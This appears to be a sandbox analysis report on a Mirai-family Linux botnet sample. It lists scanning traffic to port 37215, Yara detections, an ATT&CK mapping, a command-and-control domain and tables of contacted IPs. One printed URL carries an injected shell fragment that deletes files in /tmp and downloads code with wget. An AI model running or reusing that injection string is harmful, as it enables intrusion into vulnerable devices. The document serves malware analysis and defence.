Source: unknown	Network traffic detected: HTTP traffic on port 60882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215

Source: /tmp/s8y4CBbFHW.elf (PID: 5432)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5457)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5458)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5459)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5460)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5487)	Queries kernel information via 'uname':	Jump to behavior

Source: s8y4CBbFHW.elf, 5432.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp, s8y4CBbFHW.elf, 5436.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp, s8y4CBbFHW.elf, 5438.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp, s8y4CBbFHW.elf, 5439.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp, s8y4CBbFHW.elf, 5441.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: s8y4CBbFHW.elf, 5432.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp, s8y4CBbFHW.elf, 5436.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp, s8y4CBbFHW.elf, 5438.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp, s8y4CBbFHW.elf, 5439.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp, s8y4CBbFHW.elf, 5441.1.00007ffc84f80000.00007ffc84fa1000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/s8y4CBbFHW.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/s8y4CBbFHW.elf
Source: s8y4CBbFHW.elf, 5432.1.000056227af0d000.000056227af70000.rw-.sdmp, s8y4CBbFHW.elf, 5436.1.000056227af0d000.000056227af70000.rw-.sdmp, s8y4CBbFHW.elf, 5438.1.000056227af0d000.000056227af70000.rw-.sdmp, s8y4CBbFHW.elf, 5439.1.000056227af0d000.000056227af70000.rw-.sdmp, s8y4CBbFHW.elf, 5441.1.000056227af0d000.000056227af70000.rw-.sdmp	Binary or memory string: z"V5!/etc/qemu-binfmt/sh4
Source: s8y4CBbFHW.elf, 5432.1.000056227af0d000.000056227af70000.rw-.sdmp, s8y4CBbFHW.elf, 5436.1.000056227af0d000.000056227af70000.rw-.sdmp, s8y4CBbFHW.elf, 5438.1.000056227af0d000.000056227af70000.rw-.sdmp, s8y4CBbFHW.elf, 5439.1.000056227af0d000.000056227af70000.rw-.sdmp, s8y4CBbFHW.elf, 5441.1.000056227af0d000.000056227af70000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: s8y4CBbFHW.elf, type: SAMPLE
Source: Yara match	File source: 5441.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5439.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5436.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5438, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5439, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5441, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: s8y4CBbFHW.elf, type: SAMPLE
Source: Yara match	File source: 5441.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5439.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5436.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5438, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5439, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: s8y4CBbFHW.elf PID: 5441, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
s8y4CBbFHW.elf	71%	ReversingLabs	Linux.Trojan.Mirai
s8y4CBbFHW.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
woofwoof.cfd	94.156.71.59	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	s8y4CBbFHW.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	s8y4CBbFHW.elf	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
204.81.197.25	unknown	Canada	17120	NBDOE-ORGCA	false
197.138.184.40	unknown	Kenya	36914	KENET-ASKE	false
41.76.98.158	unknown	South Africa	37236	Reflex-SolutionsZA	false
197.47.174.199	unknown	Egypt	8452	TE-ASTE-ASEG	false
147.182.90.219	unknown	United States	137904	BVPL-AS-APBlackVeatchSEAPTELTDSG	false
31.240.223.228	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
156.77.159.173	unknown	United States	11286	KEYBANKUS	false
106.74.56.90	unknown	China	133118	UNICOM-CNChinaUnicomIPnetworkCN	false
93.98.219.78	unknown	Saudi Arabia	34397	CYBERIA-RUHCyberiaRiyadhAutonomousSystemSA	false
41.6.58.237	unknown	South Africa	29975	VODACOM-ZA	false
100.234.162.220	unknown	United States	21928	T-MOBILE-AS21928US	false
156.110.31.161	unknown	United States	5078	ONENET-AS-1US	false
41.57.244.24	unknown	Ghana	37103	BUSYINTERNETGH	false
41.53.81.129	unknown	South Africa	37168	CELL-CZA	true
150.221.11.248	unknown	United States	10952	ECU-ASUS	false
219.24.143.221	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	true
24.121.27.53	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
197.5.211.179	unknown	Tunisia	5438	ATI-TN	false
5.132.89.253	unknown	Netherlands	50266	TMOBILE-THUISNL	false
77.248.241.119	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
44.21.72.28	unknown	United States	7377	UCSDUS	false
201.234.17.140	unknown	Argentina	3549	LVLT-3549US	false
119.87.92.132	unknown	China	134420	CHINATELECOM-CHONGQING-IDCChongqingTelecomCN	false
8.67.93.32	unknown	United States	3356	LEVEL3US	false
73.39.205.52	unknown	United States	7922	COMCAST-7922US	false
197.105.204.215	unknown	South Africa	37168	CELL-CZA	false
197.193.135.131	unknown	Egypt	36992	ETISALAT-MISREG	false
50.180.70.32	unknown	United States	7922	COMCAST-7922US	false
53.87.103.11	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
197.123.251.41	unknown	Egypt	36992	ETISALAT-MISREG	false
182.61.47.81	unknown	China	38365	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
197.170.195.171	unknown	South Africa	37168	CELL-CZA	false
197.252.67.126	unknown	Sudan	15706	SudatelSD	false
156.145.207.196	unknown	United States	395139	NYP-INTERNETUS	false
134.254.164.251	unknown	United States	3562	SNLL-NET-ASUS	false
24.69.23.239	unknown	Canada	6327	SHAWCA	false
204.127.150.87	unknown	United States	4466	EASYLINK2US	false
219.36.155.28	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
156.83.79.188	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
156.66.57.242	unknown	United States	29975	VODACOM-ZA	false
119.195.65.11	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
134.166.25.46	unknown	United States	668	DNIC-AS-00668US	false
45.221.127.233	unknown	South Africa	328543	sun-asnSC	false
9.113.189.87	unknown	United States	3356	LEVEL3US	false
41.184.27.238	unknown	Nigeria	29091	IPNXngNG	false
41.151.251.55	unknown	South Africa	5713	SAIX-NETZA	true
41.110.181.97	unknown	Algeria	36947	ALGTEL-ASDZ	true
57.193.136.91	unknown	Belgium	2686	ATGS-MMD-ASUS	false
156.201.148.50	unknown	Egypt	8452	TE-ASTE-ASEG	true
51.108.182.228	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.110.163.93	unknown	South Africa	37168	CELL-CZA	false
197.123.213.154	unknown	Egypt	36992	ETISALAT-MISREG	false
41.157.54.35	unknown	South Africa	37168	CELL-CZA	false
197.29.244.234	unknown	Tunisia	37492	ORANGE-TN	false
156.115.240.117	unknown	Switzerland	59630	NN_INSURANCE_EURASIA_NV_ITH-ASNL	false
82.33.102.114	unknown	United Kingdom	5089	NTLGB	false
187.235.171.241	unknown	Mexico	8151	UninetSAdeCVMX	false
133.84.95.117	unknown	Japan	55904	KOGAKUIN-ASKOGAKUINUniversityJP	false
50.216.7.159	unknown	United States	7922	COMCAST-7922US	false
41.236.7.25	unknown	Egypt	8452	TE-ASTE-ASEG	true
99.95.240.202	unknown	United States	7018	ATT-INTERNET4US	false
58.56.229.26	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
70.244.115.102	unknown	United States	7018	ATT-INTERNET4US	false
49.109.82.107	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
156.62.19.237	unknown	New Zealand	24398	AUT-NZ-APAucklandUniversityofTechnologyNZ	false
111.176.255.223	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
207.224.226.137	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
132.10.73.79	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
156.226.176.129	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
100.5.224.129	unknown	United States	701	UUNETUS	false
206.96.21.192	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
78.106.130.5	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
39.154.202.115	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
179.114.240.244	unknown	Brazil	26599	TELEFONICABRASILSABR	false
41.103.192.32	unknown	Algeria	36947	ALGTEL-ASDZ	false
34.237.89.255	unknown	United States	14618	AMAZON-AESUS	false
197.49.76.111	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.95.142.165	unknown	Sudan	36998	SDN-MOBITELSD	false
44.60.227.19	unknown	United States	7377	UCSDUS	false
205.237.185.42	unknown	United States	26793	ICS-LLCUS	false
156.139.17.124	unknown	United States	3356	LEVEL3US	false
107.129.25.87	unknown	United States	7018	ATT-INTERNET4US	false
197.87.15.2	unknown	South Africa	10474	OPTINETZA	false
129.231.54.226	unknown	United States	7256	VIACOM-ASUS	false
41.255.9.214	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
18.86.170.254	unknown	United States	3	MIT-GATEWAYSUS	false
211.160.156.73	unknown	China	9814	FIBRLINKBeijingFibrLINKNetworksCoLtdCN	false
197.159.231.60	unknown	unknown	36974	AFNET-ASCI	false
41.19.208.240	unknown	South Africa	29975	VODACOM-ZA	false
19.171.194.70	unknown	United States	3	MIT-GATEWAYSUS	false
133.189.199.227	unknown	Japan	4729	JAEAJapanAtomicEnergyAgencyJP	false
159.188.11.85	unknown	United States	34058	LIFECELL-ASUA	false
156.168.245.29	unknown	Egypt	36992	ETISALAT-MISREG	true
41.244.207.155	unknown	Cameroon	37620	VIETTEL-CM-ASCM	true
197.207.96.120	unknown	Algeria	36947	ALGTEL-ASDZ	true
184.176.206.156	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
197.239.213.44	unknown	unknown	36974	AFNET-ASCI	false
101.0.241.188	unknown	Taiwan; Republic of China (ROC)	18046	DONGFONG-TWDongFongTechnologyCoLtdTW	false
156.161.209.230	unknown	Egypt	36992	ETISALAT-MISREG	true
99.146.140.36	unknown	United States	7018	ATT-INTERNET4US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.66.57.242	0a719AoeXz.elf	Get hash	malicious	Mirai	Browse
197.105.204.215	JP9HCJhZs0.elf	Get hash	malicious	Mirai, Moobot	Browse
41.57.244.24	dDPKtLvVp6.elf	Get hash	malicious	Mirai, Moobot	Browse
41.57.244.24	4FlBKQHHPU	Get hash	malicious	Mirai	Browse
41.184.27.238	I6RPrB3YqO	Get hash	malicious	Mirai	Browse
134.254.164.251	gdbhUbyHV7.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
woofwoof.cfd	sYgsg1JAC0.elf	Get hash	malicious	Mirai	Browse	94.156.71.59
	jctfniJKR0.elf	Get hash	malicious	Mirai	Browse	94.156.71.59
	QSX0atAPpN.elf	Get hash	malicious	Mirai	Browse	94.156.71.59
	t4p0nt07.x86.elf	Get hash	malicious	Mirai	Browse	94.156.64.221
	t9lNEiD3ui.elf	Get hash	malicious	Mirai	Browse	94.156.64.221
	G7b98y6IWj.elf	Get hash	malicious	Mirai	Browse	94.156.64.221
	ACKpfvO313.elf	Get hash	malicious	Mirai	Browse	94.156.64.221
	vh9HOxBJJN.elf	Get hash	malicious	Mirai	Browse	94.156.64.221

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TE-ASTE-ASEG	sYgsg1JAC0.elf	Get hash	malicious	Mirai	Browse	156.204.73.146
	jctfniJKR0.elf	Get hash	malicious	Mirai	Browse	156.223.50.219
	QSX0atAPpN.elf	Get hash	malicious	Mirai	Browse	197.60.132.30
	Q08dqv9CHC.elf	Get hash	malicious	Mirai	Browse	41.34.127.129
	h.x86-20240610-0050.elf	Get hash	malicious	Mirai, Okiru	Browse	41.235.75.243
	bVMuPnsMIq.elf	Get hash	malicious	Mirai	Browse	102.42.245.58
	YfM6hAPQaS.elf	Get hash	malicious	Mirai	Browse	156.198.173.237
	9W8C6mXhAB.elf	Get hash	malicious	Mirai	Browse	197.55.34.212
	TGYj8HxqY9.elf	Get hash	malicious	Mirai	Browse	156.197.112.199
	P3OiWwQzRo.elf	Get hash	malicious	Mirai	Browse	41.45.223.110
Reflex-SolutionsZA	ycWb26lVAe.elf	Get hash	malicious	Mirai	Browse	197.221.108.174
	kl7nWo7u71.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.221.108.106
	aT0T5g9qvp.elf	Get hash	malicious	Mirai	Browse	197.221.108.129
	fXB7ExbJpI.elf	Get hash	malicious	Mirai, Moobot	Browse	197.221.108.114
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.221.108.115
	zpbWkmw0VY.elf	Get hash	malicious	Mirai, Moobot	Browse	197.221.108.115
	omLMIQ8D45.elf	Get hash	malicious	Mirai	Browse	197.221.108.152
	Pe1o2szAzP.elf	Get hash	malicious	Mirai	Browse	197.221.108.101
	FJTzVSzSXR.elf	Get hash	malicious	Mirai, Moobot	Browse	197.221.108.116
	COWJ55ChOf.elf	Get hash	malicious	Mirai, Moobot	Browse	197.221.108.132
KENET-ASKE	arm7.elf	Get hash	malicious	Mirai	Browse	41.89.178.152
	arm4.elf	Get hash	malicious	Mirai	Browse	41.89.178.128
	skid.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	197.137.108.192
	bot.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	197.137.162.218
	arm.nn.elf	Get hash	malicious	Mirai	Browse	41.89.178.180
	mips.nn.elf	Get hash	malicious	Mirai	Browse	197.136.200.90
	skt.arm6.elf	Get hash	malicious	Mirai	Browse	197.136.200.26
	skt.x86.elf	Get hash	malicious	Mirai	Browse	197.137.162.214
	skt.sh4.elf	Get hash	malicious	Mirai	Browse	41.89.178.164
	Ixq2ypphWQ.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	197.137.162.246
NBDOE-ORGCA	BEvRxcwqiz.elf	Get hash	malicious	Mirai	Browse	204.81.50.233
	Y98pGn3FUt.elf	Get hash	malicious	Mirai	Browse	204.81.50.201
	jcTITjYCy0.elf	Get hash	malicious	Mirai	Browse	204.82.245.220
	RyN0nKQFMD.elf	Get hash	malicious	Mirai	Browse	204.81.173.61
	ZfeALk0ts2.elf	Get hash	malicious	Unknown	Browse	204.82.192.33
	ZpyyEEuSFW.elf	Get hash	malicious	Mirai	Browse	204.81.220.184
	b3astmode.x86.elf	Get hash	malicious	Mirai	Browse	204.81.50.228
